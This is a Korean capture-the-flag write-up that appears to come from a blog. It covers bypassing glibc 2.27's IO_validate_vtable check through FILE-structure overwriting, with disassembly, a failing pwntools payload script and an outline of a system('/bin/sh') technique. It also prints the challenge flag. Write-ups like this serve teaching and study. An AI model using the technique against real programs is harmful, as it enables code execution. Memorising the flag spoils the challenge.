[๐Ÿฅ‡ Gold 3] vtable ์„ ๋ชป ์˜ฎ๊ธฐ๋ฉด libc ์•ˆ์˜ ์ง„์งœ vtable ์„ ๋นŒ๋ฆฐ๋‹ค โ€” DreamHack Bypass IO_validate_vtable ํ’€์ด

2026-08-01ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‡ Gold 3] vtable ์„ ๋ชป ์˜ฎ๊ธฐ๋ฉด libc ์•ˆ์˜ ์ง„์งœ vtable ์„ ๋นŒ๋ฆฐ๋‹ค โ€” DreamHack Bypass IO_validate_vtable ํ’€์ด

read ํ•œ ๋ฒˆ์œผ๋กœ FILE ๊ตฌ์กฐ์ฒด 300๋ฐ”์ดํŠธ๋ฅผ ํ†ต์งธ๋กœ ๋ฎ์„ ์ˆ˜ ์žˆ๋Š”๋ฐ, ๋Œ€์ƒ์ด glibc 2.27 ์ด๋ผ vtable ์„ ์—‰๋šฑํ•œ ์ฃผ์†Œ๋กœ ๋Œ๋ฆฌ๋ฉด ๊ทธ ์ž๋ฆฌ์—์„œ abort ํ•œ๋‹ค. 2.24 ๋ถ€ํ„ฐ fclose ์•ˆ์— IO_validate_vtable ๋ฒ”์œ„ ๊ฒ€์‚ฌ๊ฐ€ ์ธ๋ผ์ธ๋ผ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๊ทธ๋ž˜์„œ vtable ์„ ์˜ฎ๊ธฐ๋Š” ๋Œ€์‹  __libc_IO_vtables ์„น์…˜ ์•ˆ์— ์›๋ž˜๋ถ€ํ„ฐ ์žˆ๋˜ _IO_str_jumps ๋ฅผ ๊ทธ๋Œ€๋กœ ๊ฐ–๋‹ค ์“ด๋‹ค. ๊ทธ vtable ์˜ __finish ์ธ _IO_str_finish ๋Š” FILE+0xe8 ์„ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ ํ˜ธ์ถœํ•˜๋Š”๋ฐ, ๊ทธ ์นธ๋„ ์šฐ๋ฆฌ๊ฐ€ ๋ฎ๋Š” 300๋ฐ”์ดํŠธ ์•ˆ์— ์žˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Bypass IO_validate_vtable ๋ถ„๋ฅ˜: pwnable ๋‚œ์ด๋„: ๐Ÿฅ‡ Gold 3 FLAG: DH{2eb9fa36f3ffbb948fd525ad7190d263da14eb01af4106a0a037b6ec9662f582}

๋ฐฐํฌ๋ณธ์€ ๋ฐ”์ด๋„ˆ๋ฆฌ ํ•˜๋‚˜, libc ํ•˜๋‚˜, 25์ค„์งœ๋ฆฌ C ์†Œ์Šค ํ•˜๋‚˜๊ฐ€ ์ „๋ถ€๋‹ค. ์†Œ์Šค๊ฐ€ ์งง์•„์„œ ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๋ฐ๋Š” 1๋ถ„๋„ ์•ˆ ๊ฑธ๋ฆฐ๋‹ค.

์ง„์งœ ๋ฌธ์ œ๋Š” ๊ทธ ๋‹ค์Œ์ด๋‹ค. ๋Š˜ ์“ฐ๋˜ ๋ฐฉ์‹์ด ์ด libc ์—์„œ๋Š” abort ๋กœ ๋๋‚œ๋‹ค.

file extracted/bypass_valid_vtable && checksec --file=extracted/bypass_valid_vtable
file ๊ณผ checksec ์œผ๋กœ ํ™•์ธํ•œ ๋ฐฐํฌ ๋ฐ”์ด๋„ˆ๋ฆฌ โ€” No PIE, Partial RELRO, NX ๋งŒ ์ผœ์ ธ ์žˆ๊ณ  ์นด๋‚˜๋ฆฌ๋Š” ์—†๋‹ค
file ๊ณผ checksec ์œผ๋กœ ํ™•์ธํ•œ ๋ฐฐํฌ ๋ฐ”์ด๋„ˆ๋ฆฌ โ€” No PIE, Partial RELRO, NX ๋งŒ ์ผœ์ ธ ์žˆ๊ณ  ์นด๋‚˜๋ฆฌ๋Š” ์—†๋‹ค

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Bypass IO_validate_vtable
๋‚œ์ด๋„๐Ÿฅ‡ Gold 3
๋ถ„๋ฅ˜pwnable
์ œ๊ณต ํŒŒ์ผbypass_valid_vtable, bypass_valid_vtable.c, libc.so.6, Dockerfile
์ŠคํƒUbuntu 18.04 ยท glibc 2.27-3ubuntu1 ยท socat ์œผ๋กœ TCP ๋…ธ์ถœ
๋ณดํ˜ธ ๊ธฐ๋ฒ•No PIE ยท Partial RELRO ยท NX ยท ์นด๋‚˜๋ฆฌ ์—†์Œ
ํ•ต์‹ฌ ์ทจ์•ฝ์ FILE ๊ตฌ์กฐ์ฒด ์ „์ฒด๋ฅผ ์ž„์˜ ๊ฐ’์œผ๋กœ ๋ฎ์€ ๋’ค fclose ๊ฐ€ ํ˜ธ์ถœ๋จ
ํ•ต์‹ฌ ๊ธฐ๋ฒ•IO_validate_vtable ์šฐํšŒ โ€” ์„น์…˜ ์•ˆ์˜ _IO_str_jumps ์žฌ์‚ฌ์šฉ

ํ’€์ด ํ๋ฆ„์€ ๋„ค ์ค„๋กœ ์š”์•ฝ๋œ๋‹ค.

ํ”„๋กœ๊ทธ๋žจ์ด stdout ํฌ์ธํ„ฐ๋ฅผ ์ง์ ‘ ์ฐ์–ด ์ฃผ๋‹ˆ libc ๋ฒ ์ด์Šค๊ฐ€ ๊ณต์งœ๋กœ ๋‚˜์˜จ๋‹ค. ๊ทธ ๊ฐ’์œผ๋กœ _IO_str_jumps ์™€ system ์˜ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•œ๋‹ค. ๊ฐ€์งœ FILE ์„ ๋งŒ๋“ค๋˜ vtable ์นธ์—๋Š” libc ์— ์›๋ž˜ ์žˆ๋˜ vtable ์ฃผ์†Œ๋ฅผ ๋„ฃ๋Š”๋‹ค. fclose ๊ฐ€ ๊ทธ vtable ์˜ __finish ๋ฅผ ๋ถ€๋ฅด๋ฉด system("/bin/sh") ๊ฐ€ ์‹คํ–‰๋œ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” _IO_FILE, vtable, ๊ทธ๋ฆฌ๊ณ  2.24 ์— ์ƒ๊ธด ๋ฒฝ

C ์—์„œ FILE * ๋กœ ๋“ค๊ณ  ๋‹ค๋‹ˆ๋Š” ๊ทธ ๊ตฌ์กฐ์ฒด๋Š” glibc ์•ˆ์—์„œ struct _IO_FILE ์ด๋‹ค. ํฌ๊ธฐ๋Š” x86-64 ์—์„œ 0xd8 ๋ฐ”์ดํŠธ.

๊ทธ๋Ÿฐ๋ฐ ์‹ค์ œ๋กœ ํ• ๋‹น๋˜๋Š” ๊ฑด ๊ทธ๊ฒƒ๋ณด๋‹ค 8๋ฐ”์ดํŠธ ํฐ struct _IO_FILE_plus ๋‹ค. ๋’ค์— ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ํ…Œ์ด๋ธ” ์ฃผ์†Œ๊ฐ€ ํ•˜๋‚˜ ๋” ๋ถ™๋Š”๋‹ค.

struct _IO_FILE_plus
{
  _IO_FILE            file;      /* 0x00 ~ 0xd7 */
  const struct _IO_jump_t *vtable;  /* 0xd8 */
};

freadยทfwriteยทfclose ๊ฐ™์€ ํ•จ์ˆ˜๋Š” ์ž๊ธฐ๊ฐ€ ์ง์ ‘ ์ผํ•˜์ง€ ์•Š๋Š”๋‹ค. vtable ์—์„œ ํ•ด๋‹น ์Šฌ๋กฏ์„ ๊บผ๋‚ด ํ˜ธ์ถœํ•œ๋‹ค. ํŒŒ์ผ์ด๋ƒ ๋ฉ”๋ชจ๋ฆฌ ์ŠคํŠธ๋ฆผ์ด๋ƒ ํŒŒ์ดํ”„๋ƒ์— ๋”ฐ๋ผ ๋™์ž‘์ด ๋‹ฌ๋ผ์ ธ์•ผ ํ•˜๋‹ˆ C ๋กœ ๊ตฌํ˜„ํ•œ ๊ฐ€์ƒ ํ•จ์ˆ˜ ํ…Œ์ด๋ธ”์ธ ์…ˆ์ด๋‹ค.

_IO_jump_t ๋Š” ์•ž์— ๋”๋ฏธ ๋‘ ์นธ์ด ์žˆ๋‹ค.

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);       /* +0x00 */
    JUMP_FIELD(size_t, __dummy2);      /* +0x08 */
    JUMP_FIELD(_IO_finish_t, __finish);    /* +0x10 */
    JUMP_FIELD(_IO_overflow_t, __overflow);  /* +0x18 */
    JUMP_FIELD(_IO_underflow_t, __underflow); /* +0x20 */
    /* ... */
};

๊ทธ๋ž˜์„œ __finish ๋Š” vtable ๊ธฐ์ค€ +0x10 ์ด๋‹ค. ์ด ์˜คํ”„์…‹์€ ๋’ค์—์„œ ๊ณ„์† ์“ด๋‹ค.

2.23 ๊นŒ์ง€๋Š” ์ด๊ฒŒ ๊ทธ๋ƒฅ ๋šซ๋ ธ๋‹ค

FILE ๊ตฌ์กฐ์ฒด๋ฅผ ๋ฎ์„ ์ˆ˜ ์žˆ์œผ๋ฉด vtable ํฌ์ธํ„ฐ๋„ ๋ฎ์„ ์ˆ˜ ์žˆ๋‹ค. ๋‚ด๊ฐ€ ํ†ต์ œํ•˜๋Š” ๋ฉ”๋ชจ๋ฆฌ์— ๊ฐ€์งœ ํ…Œ์ด๋ธ”์„ ๋งŒ๋“ค๊ณ  vtable ์„ ๊ทธ์ชฝ์œผ๋กœ ๋Œ๋ฆฌ๋ฉด, ๋‹ค์Œ stdio ํ˜ธ์ถœ์—์„œ ์›ํ•˜๋Š” ์ฃผ์†Œ๋กœ ์ ํ”„ํ•œ๋‹ค.

๋„ˆ๋ฌด ์ž˜ ๋˜๋‹ˆ๊นŒ glibc 2.24 ์—์„œ ๋ง‰์•˜๋‹ค. libio/libioP.h ์— ๊ฒ€์‚ฌ๊ฐ€ ๋“ค์–ด๊ฐ”๋‹ค.

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    _IO_vtable_check ();
  return vtable;
}

libc ์•ˆ์˜ ์ •์ƒ vtable ๋“ค์€ ์ „๋ถ€ __libc_IO_vtables ๋ผ๋Š” ์ „์šฉ ์„น์…˜์— ๋ชจ์—ฌ ์žˆ๋‹ค. vtable ํฌ์ธํ„ฐ๊ฐ€ ๊ทธ ์„น์…˜ ๋ฐ–์„ ๊ฐ€๋ฆฌํ‚ค๋ฉด _IO_vtable_check() ๋กœ ๋น ์ง€๊ณ , ๊ฑฐ๊ธฐ์„œ๋„ ์ •๋‹นํ•œ ์‚ฌ์œ (dlopen ๋œ ํ™•์žฅ ๋“ฑ)๊ฐ€ ์—†์œผ๋ฉด ํ”„๋กœ์„ธ์Šค๋ฅผ ์ฃฝ์ธ๋‹ค.

์ด ๋ฌธ์ œ ์ œ๋ชฉ์ด ๋งํ•˜๋Š” ๊ฒŒ ์ •ํ™•ํžˆ ๊ทธ ๊ฒ€์‚ฌ๋‹ค. ๋จผ์ € ๋Œ€์ƒ libc ๋ฅผ ํ™•์ธํ•œ๋‹ค.

strings extracted/libc.so.6 | grep "GNU C Library" && readelf -S extracted/libc.so.6 | grep -A1 __libc_IO_vtables
strings ์™€ readelf ๋กœ ํ™•์ธํ•œ libc ๋ฒ„์ „๊ณผ __libc_IO_vtables ์„น์…˜ โ€” 2.27-3ubuntu1 ์ด๊ณ  ์„น์…˜์€ 0x3e7760 ์—์„œ 0xd68 ๋ฐ”์ดํŠธ๋‹ค
strings ์™€ readelf ๋กœ ํ™•์ธํ•œ libc ๋ฒ„์ „๊ณผ __libc_IO_vtables ์„น์…˜ โ€” 2.27-3ubuntu1 ์ด๊ณ  ์„น์…˜์€ 0x3e7760 ์—์„œ 0xd68 ๋ฐ”์ดํŠธ๋‹ค

2.27-3ubuntu1. ๊ฒ€์‚ฌ๊ฐ€ ์‚ด์•„ ์žˆ๋Š” ๋ฒ„์ „์ด๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์„น์…˜์€ 0x3e7760 ๋ถ€ํ„ฐ 0xd68 ๋ฐ”์ดํŠธ โ€” ์ฆ‰ 0x3e7760 ~ 0x3e84c8 ์ด๋‹ค. ์ด ๋ฒ”์œ„๋Š” ์•ž์œผ๋กœ ๊ณ„์† ๋‚˜์˜จ๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” 25์ค„์ด ์ฃผ๋Š” ๊ฒƒ

๋ฐฐํฌ๋œ ์†Œ์Šค ์ „๋ฌธ์ด๋‹ค. ์ •๋ง ์ด๊ฒŒ ์ „๋ถ€๋‹ค.

// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie
 
#include <stdio.h>
#include <unistd.h>
 
FILE *fp;
 
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
 
int main() {
  init();
 
  fp = fopen("/dev/urandom", "r");
 
  printf("stdout: %p\n", stdout);
  printf("Data: ");
 
  read(0, fp, 300);
 
  fclose(fp);
}

์ฝ์„ ๊ฒŒ ์„ธ ์ค„๋ฟ์ด๋‹ค.

fopen ์ด ํž™์— FILE ์„ ํ•˜๋‚˜ ๋งŒ๋“ ๋‹ค. /dev/urandom ์ธ ๊ฑด ์•„๋ฌด ์˜๋ฏธ ์—†๊ณ , ๊ทธ๋ƒฅ "์ •์ƒ์ ์ธ ํŒŒ์ผ ์ŠคํŠธ๋ฆผ ํ•˜๋‚˜"๊ฐ€ ํ•„์š”ํ–ˆ์„ ๋ฟ์ด๋‹ค.

printf("stdout: %p\n", stdout) ๊ฐ€ _IO_2_1_stdout_ ์˜ ๋Ÿฐํƒ€์ž„ ์ฃผ์†Œ๋ฅผ ๊ทธ๋Œ€๋กœ ์ฐ๋Š”๋‹ค. libc ๋ฒ ์ด์Šค๋ฅผ ๊ตฌํ•˜๋Š” ๋ฐ ์‚ฝ์งˆ์ด ํ•„์š” ์—†๋‹ค๋Š” ๋œป์ด๋‹ค.

๊ทธ๋ฆฌ๊ณ  read(0, fp, 300). ์ฒซ ์ธ์ž๊ฐ€ &fp ๊ฐ€ ์•„๋‹ˆ๋ผ fp ๋‹ค. ํฌ์ธํ„ฐ ๋ณ€์ˆ˜๊ฐ€ ์•„๋‹ˆ๋ผ ๊ทธ ํฌ์ธํ„ฐ๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ํž™ ๊ตฌ์กฐ์ฒด์— 300๋ฐ”์ดํŠธ๋ฅผ ์“ด๋‹ค. FILE ์ด 0xd8 ๋ฐ”์ดํŠธ๊ณ  vtable ํฌ์ธํ„ฐ๊นŒ์ง€ ํ•ฉ์ณ๋„ 0xe0 ์ด๋‹ˆ, 300(0x12c)๋ฐ”์ดํŠธ๋ฉด ๊ตฌ์กฐ์ฒด๋ฅผ ๋‹ค ๋ฎ๊ณ ๋„ ๋‚จ๋Š”๋‹ค.

๋งˆ์ง€๋ง‰ fclose(fp) ๊ฐ€ ๊ทธ ์œ„์กฐ ๊ตฌ์กฐ์ฒด๋ฅผ ๋“ค๊ณ  stdio ์•ˆ์œผ๋กœ ๋“ค์–ด๊ฐ„๋‹ค.

์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค. ๋ฎ์„ ์ˆ˜ ์žˆ๋Š” ๊ฑด FILE ์ „์ฒด, ํŠธ๋ฆฌ๊ฑฐ๋Š” fclose ํ•œ ๋ฐฉ. ๋‚จ์€ ์งˆ๋ฌธ์€ ํ•˜๋‚˜๋‹ค โ€” fclose ๋Š” ์ด ๊ตฌ์กฐ์ฒด์˜ ์–ด๋А ์นธ์„ ์‹ค์ œ๋กœ ์ฝ๋Š”๊ฐ€.



๐Ÿงฑ fclose ๊ฐ€ ์‹ค์ œ๋กœ ์ง€๋‚˜๊ฐ€๋Š” ๊ธธ

์†Œ์Šค๋งŒ ๋ณด๊ณ  ์ถ”์ธกํ•˜๋ฉด ํ‹€๋ฆฐ๋‹ค. glibc ์†Œ์Šค๋„ ๋ฒ„์ „๋งˆ๋‹ค ๋‹ค๋ฅด๊ณ , ์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ์ธ๋ผ์ธยท์ตœ์ ํ™”๋ฅผ ํ•ด ๋ฒ„๋ฆฌ๋ฉด ์‹ค์ œ ์ฝ”๋“œ๋Š” ๋˜ ๋‹ฌ๋ผ์ง„๋‹ค. ๋ฐฐํฌ๋œ ๊ทธ libc ๋ฅผ ์ง์ ‘ ๋œฏ์–ด๋ณด๋Š” ๊ฒŒ ๋งž๋‹ค.

objdump -d --start-address=0x7e250 --stop-address=0x7e2be extracted/libc.so.6 | sed -f annot_fclose.sed

์ฃผ์„์€ sed ๋กœ ๋‚ด๊ฐ€ ๋ถ™์ธ ๊ฒƒ์ด๊ณ , ๋‚˜๋จธ์ง€๋Š” objdump ์ถœ๋ ฅ ๊ทธ๋Œ€๋กœ๋‹ค. ์“ด ๊ทœ์น™ ํŒŒ์ผ(annot_fclose.sed)์€ ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

/  7e254:/s/$/     <-- eax = fp->_flags/
/  7e259:/s/$/     <-- _IO_IS_FILEBUF(0x2000) ๊ฒ€์‚ฌ/
/  7e264:/s/$/     <-- _IO_USER_LOCK(0x8000) ๊ฒ€์‚ฌ/
/  7e27c:/s/$/     <-- _lock ์—ญ์ฐธ์กฐ (USER_LOCK ์ด๋ฉด ์—ฌ๊ธฐ ์•ˆ ์˜จ๋‹ค)/
/  7e28d:/s/$/     <-- r12 = fp+0xd8 = vtable/
/  7e294:/s/$/     <-- __start___libc_IO_vtables/
/  7e29b:/s/$/     <-- __stop___libc_IO_vtables/
/  7e2a2:/s/$/     <-- rax = ์„น์…˜ ๊ธธ์ด/
/  7e2a8:/s/$/     <-- rcx = vtable - ์„น์…˜์‹œ์ž‘/
/  7e2ae:/s/$/     <-- ์„น์…˜ ๋ฐ–์ด๋ฉด _IO_vtable_check() = abort/
/  7e2b9:/s/$/     <-- _IO_FINISH: vtable+0x10 ํ˜ธ์ถœ/
objdump ๋กœ ๋œฏ์€ fclose ์•ž๋ถ€๋ถ„ โ€” ํ”Œ๋ž˜๊ทธ ๊ฒ€์‚ฌ, ๋ฝ ์ฒ˜๋ฆฌ, IO_validate_vtable ๋ฒ”์œ„ ๊ฒ€์‚ฌ, vtable+0x10 ํ˜ธ์ถœ์ด ํ•œ ํ™”๋ฉด์— ๋‹ค ๋ณด์ธ๋‹ค
objdump ๋กœ ๋œฏ์€ fclose ์•ž๋ถ€๋ถ„ โ€” ํ”Œ๋ž˜๊ทธ ๊ฒ€์‚ฌ, ๋ฝ ์ฒ˜๋ฆฌ, IO_validate_vtable ๋ฒ”์œ„ ๊ฒ€์‚ฌ, vtable+0x10 ํ˜ธ์ถœ์ด ํ•œ ํ™”๋ฉด์— ๋‹ค ๋ณด์ธ๋‹ค

์ด ํ•œ ์žฅ์— ํ•„์š”ํ•œ ์ •๋ณด๊ฐ€ ๋‹ค ์žˆ๋‹ค. ์ˆœ์„œ๋Œ€๋กœ ์ฝ์œผ๋ฉด ์ด๋ ‡๋‹ค.

7e254 ~ 7e25c โ€” _flags ๋ฅผ ์ฝ์–ด test $0x20,%ah ๋กœ ๊ฒ€์‚ฌํ•œ๋‹ค. ah ๋Š” eax ์˜ 8~15๋น„ํŠธ๋‹ˆ๊นŒ 0x20 << 8 = 0x2000, ์ฆ‰ _IO_IS_FILEBUF ๋‹ค. ์ด๊ฒŒ ์ผœ์ ธ ์žˆ์œผ๋ฉด 7e308 ๋กœ ๋›ฐ์–ด _IO_un_link โ†’ _IO_file_close_it ์ฝ”์Šค๋ฅผ ํƒ„๋‹ค. ๊ทธ ๊ธธ์€ _chain ๋ฆฌ์ŠคํŠธ๋ฅผ ๊ฑท๊ณ  _fileno ๋กœ close(2) ๋ฅผ ๋ถ€๋ฅด๋Š”, ์‹ ๊ฒฝ ์“ธ ๊ฒŒ ๋งŽ์€ ๊ธธ์ด๋‹ค. ๋„๋ฉด ๊ทธ๋ƒฅ ์•ˆ ๊ฐ„๋‹ค.

7e264 โ€” and $0x8000,%edx ๋กœ _IO_USER_LOCK ์„ ๋ณธ๋‹ค. ์ด๊ฒŒ 0์ด๋ฉด 7e314 ๋กœ ๋‚ด๋ ค๊ฐ€ ๋ฝ์„ ์žก๋Š”๋ฐ, ๊ฑฐ๊ธฐ์„œ 0x88(%rbx) ์ฆ‰ _lock ์„ ์—ญ์ฐธ์กฐํ•œ๋‹ค. ์ผœ์ ธ ์žˆ์œผ๋ฉด ๊ทธ ๋ธ”๋ก์„ ํ†ต์งธ๋กœ ๊ฑด๋„ˆ๋›ด๋‹ค.

7e27c โ€” ๋ฝ ํ•ด์ œ ์ชฝ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๋‹ค. mov 0x88(%rbx),%rdx ๋‹ค์Œ subl $0x1,0x4(%rdx). ๋ฐ”๋กœ ์œ„ 7e278: test %edx,%edx / jne 7e28d ๋•Œ๋ฌธ์— _IO_USER_LOCK ์ด ์ผœ์ ธ ์žˆ์œผ๋ฉด ์—ฌ๊ธฐ๋„ ์•ˆ ์˜จ๋‹ค.

์ด๊ฒŒ ์ด ๋ฌธ์ œ์—์„œ ์ œ์ผ ๋งˆ์Œ์— ๋“  ๋ฐœ๊ฒฌ์ด์—ˆ๋‹ค. ๋ณดํ†ต ์œ„์กฐ FILE ์„ ๋งŒ๋“ค ๋•Œ๋Š” _lock ์— "์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ 0์œผ๋กœ ์ฑ„์›Œ์ง„ ์ฃผ์†Œ"๋ฅผ ์ฐพ์•„ ๋„ฃ์–ด์•ผ ํ•œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ํ”Œ๋ž˜๊ทธ ๋น„ํŠธ ํ•˜๋‚˜๋กœ ๊ทธ ์š”๊ตฌ์‚ฌํ•ญ ์ž์ฒด๊ฐ€ ์‚ฌ๋ผ์ง„๋‹ค.

7e28d ~ 7e2ae โ€” IO_validate_vtable ์ด ์ธ๋ผ์ธ๋œ ์ž๋ฆฌ๋‹ค. lea ๋‘ ๊ฐœ๊ฐ€ 0x3e7760(์‹œ์ž‘)๊ณผ 0x3e84c8(๋)์„ ๊ทธ๋Œ€๋กœ ์ƒ์ˆ˜๋กœ ๋ฐ•์•„ ๋†จ๋‹ค. rax = ๋ - ์‹œ์ž‘ = 0xd68, rcx = vtable - ์‹œ์ž‘. cmp %rcx,%rax ํ›„ jbe ๋ฉด _IO_vtable_check ๋กœ ๊ฐ„๋‹ค. ์ฆ‰ rcx ๊ฐ€ 0xd68 ๋ณด๋‹ค ์ž‘์•„์•ผ ํ†ต๊ณผํ•œ๋‹ค.

7e2b9 โ€” call *0x10(%r12). _IO_FINISH, ๊ณง vtable ์˜ __finish ์Šฌ๋กฏ์ด๋‹ค.


โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ 1 โ€” ์˜ˆ์ „ ๋ฐฉ์‹๋Œ€๋กœ vtable ์„ ์˜ฎ๊ฒจ ๋ดค๋‹ค

๊ฒ€์‚ฌ๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฑธ ๋จธ๋ฆฌ๋กœ๋Š” ์•Œ์•„๋„, ์‹ค์ œ๋กœ ์–ด๋–ป๊ฒŒ ์ฃฝ๋Š”์ง€๋Š” ํ•œ ๋ฒˆ ๋ด์•ผ ๊ฐ์ด ์˜จ๋‹ค. 2.23 ์‹œ์ ˆ ๋ฐฉ์‹ ๊ทธ๋Œ€๋กœ vtable ์„ ์šฐ๋ฆฌ๊ฐ€ ์•„๋Š” ์•„๋ฌด ์ฃผ์†Œ๋กœ ๋Œ๋ ค ๋ดค๋‹ค.

๋ฌธ์ œ๋Š” "์•„๋Š” ์ฃผ์†Œ"๊ฐ€ ๋ณ„๋กœ ์—†๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ํž™ ์ฃผ์†Œ๋Š” ์•ˆ ์ƒˆ๊ณ , ๋ฐ”์ด๋„ˆ๋ฆฌ ์˜์—ญ์—” ์šฐ๋ฆฌ๊ฐ€ ์“ด ๊ฐ’์ด ์—†๋‹ค. ๊ฒฐ๊ตญ ์œ ์ถœ๋œ _IO_2_1_stdout_ ์ž๊ธฐ ์ž์‹ ์„ ๋„ฃ์–ด ๋ดค๋‹ค. ์–ด์ฐจํ”ผ ์š”์ ์€ "์„น์…˜ ๋ฐ–์ด๋ฉด ๋ฌด์Šจ ์ผ์ด ๋‚˜๋Š”๊ฐ€"๋ผ ์–ด๋””๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋“  ๊ฐ™๋‹ค.

#!/usr/bin/env python3
# glibc 2.23 ์‹œ์ ˆ ๋ฐฉ์‹ โ€” vtable ์„ ์šฐ๋ฆฌ๊ฐ€ ์•„๋Š” ์•„๋ฌด ์ฃผ์†Œ๋กœ๋‚˜ ๋Œ๋ ค ๋ณธ๋‹ค.
from pwn import *
import sys
 
context.arch = 'amd64'
context.log_level = 'warn'
 
IO_2_1_stdout_ = 0x3ec760
 
p = process('./local/bypass_valid_vtable')
p.recvuntil(b'stdout: ')
libc = int(p.recvline().strip(), 16) - IO_2_1_stdout_
print('[*] libc base   = %#x' % libc)
 
# ์šฐ๋ฆฌ๊ฐ€ ์‹ค์ œ๋กœ ์•„๋Š” ์œ ์ผํ•œ libc ์ฃผ์†Œ = _IO_2_1_stdout_ ์ž์ฒด.
# __libc_IO_vtables(libc+0x3e7760 ~ libc+0x3e84c8) ๋ฐ–์ด๋‹ค.
fake_vtable = libc + IO_2_1_stdout_
print('[*] fake vtable = %#x  (__libc_IO_vtables ๋ฐ–)' % fake_vtable)
 
payload  = p64(0xfbad8000)
payload += b'\x00' * (0xd8 - 8)
payload += p64(fake_vtable)
payload += b'\x00' * (300 - len(payload))
 
p.recvuntil(b'Data: ')
p.send(payload)
 
print('[*] fclose() ๊ฒฐ๊ณผ:')
print(p.recvall(timeout=3).decode(errors='replace').strip())
print('[*] ์ข…๋ฃŒ ์ƒํƒœ =', p.poll(block=True))
naive_vtable.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์„น์…˜ ๋ฐ– vtable ์„ ๋„ฃ์ž glibc ๊ฐ€ invalid stdio handle ์„ ์ถœ๋ ฅํ•˜๊ณ  SIGABRT ๋กœ ์ฃฝ๋Š”๋‹ค
naive_vtable.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์„น์…˜ ๋ฐ– vtable ์„ ๋„ฃ์ž glibc ๊ฐ€ invalid stdio handle ์„ ์ถœ๋ ฅํ•˜๊ณ  SIGABRT ๋กœ ์ฃฝ๋Š”๋‹ค
Fatal error: glibc detected an invalid stdio handle
[*] ์ข…๋ฃŒ ์ƒํƒœ = -6

-6 ์€ SIGABRT. _IO_vtable_check ๊ฐ€ __libc_fatal ๋กœ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋๋‚ธ ๊ฒƒ์ด๋‹ค.

์—ฌ๊ธฐ์„œ ์•Œ ์ˆ˜ ์žˆ๋Š” ๊ฒŒ ํ•˜๋‚˜ ๋” ์žˆ๋‹ค. ์ด ๋ฉ”์‹œ์ง€๊ฐ€ ๋œฌ๋‹ค๋Š” ๊ฑด vtable ์„ ์ฝ๋Š” ๋ฐ๊นŒ์ง€๋Š” ๊ฐ”๋‹ค๋Š” ๋œป์ด๋‹ค. ์ฆ‰ _flags ์กฐ์ž‘(_IO_IS_FILEBUF ๋„๊ธฐ, _IO_USER_LOCK ์ผœ๊ธฐ)์€ ์ด๋ฏธ ์ œ๋Œ€๋กœ ๋จนํ˜”๊ณ , ๋ง‰ํžŒ ๊ฑด ๋”ฑ vtable ํ•œ ์นธ์ด๋‹ค. ์‹คํŒจ ์ง€์ ์ด ์ •ํ™•ํžˆ ์–ด๋””์ธ์ง€ ์•Œ๊ณ  ๋„˜์–ด๊ฐ€๋ฉด ๋‹ค์Œ ์ˆ˜๊ฐ€ ์งง์•„์ง„๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ์„น์…˜ ์•ˆ์— ์žˆ๋Š” ์ง„์งœ vtable ์„ ๋นŒ๋ฆฐ๋‹ค

๊ฒ€์‚ฌ ์กฐ๊ฑด์„ ๋‹ค์‹œ ๋ณด๋ฉด, ์š”๊ตฌํ•˜๋Š” ๊ฑด ํ•˜๋‚˜๋‹ค. vtable ์ด __libc_IO_vtables ์„น์…˜ ์•ˆ์— ์žˆ์„ ๊ฒƒ. ๊ทธ ์•ˆ์— ์žˆ์œผ๋ฉด ๋‚ด์šฉ์ด ๋ญ๋“  ์ƒ๊ด€ํ•˜์ง€ ์•Š๋Š”๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ๊ทธ ์„น์…˜์—๋Š” libc ๊ฐ€ ์“ฐ๋ผ๊ณ  ๋งŒ๋“ค์–ด ๋‘” vtable ์ด ์—ฌ๋Ÿฌ ๊ฐœ ๋“ค์–ด ์žˆ๋‹ค. _IO_file_jumps, _IO_wfile_jumps, _IO_proc_jumps, _IO_mem_jumps, _IO_str_jumpsโ€ฆ

